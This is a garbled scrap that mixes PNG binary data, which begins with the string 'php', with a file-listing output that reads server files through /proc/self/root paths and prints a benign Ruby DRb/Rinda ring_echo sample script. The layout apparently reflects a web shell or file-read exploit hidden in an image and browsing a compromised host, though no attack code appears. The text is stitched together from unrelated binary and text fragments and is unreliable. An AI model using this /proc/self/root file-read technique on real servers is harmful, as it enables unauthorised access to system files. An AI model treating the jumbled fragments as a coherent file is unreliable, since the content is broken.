php IHDR w Q )Ba pHYs sRGB gAMA a IDATxMk\U s&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨ G;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j- $_q?qS XzG'ay
files >> /proc/self/root/usr/share/doc/ruby-1.8.7.374/sample/drb/ |
files >> //proc/self/root/usr/share/doc/ruby-1.8.7.374/sample/drb/ring_echo.rb |
require 'drb/drb' require 'drb/eq' require 'rinda/ring' require 'thread' class RingEcho include DRbUndumped def initialize(name) @name = name end def echo(str) "#{@name}: #{str}" end end DRb.start_service renewer = Rinda::SimpleRenewer.new finder = Rinda::RingFinger.new ts = finder.lookup_ring_any ts.read_all([:name, :RingEcho, nil, nil]).each do |tuple| p tuple[2] puts tuple[2].echo('Hello, World') rescue nil end ts.write([:name, :RingEcho, RingEcho.new(DRb.uri), ''], renewer) DRb.thread.joiny~or5J={Eeu磝Qk ᯘG{?+]ן?wM3X^歌>{7پK>on\jy Rg/=fOroNVv~Y+ NGuÝHWyw[eQʨSb> >}Gmx[o[<{Ϯ_qFvM IENDB`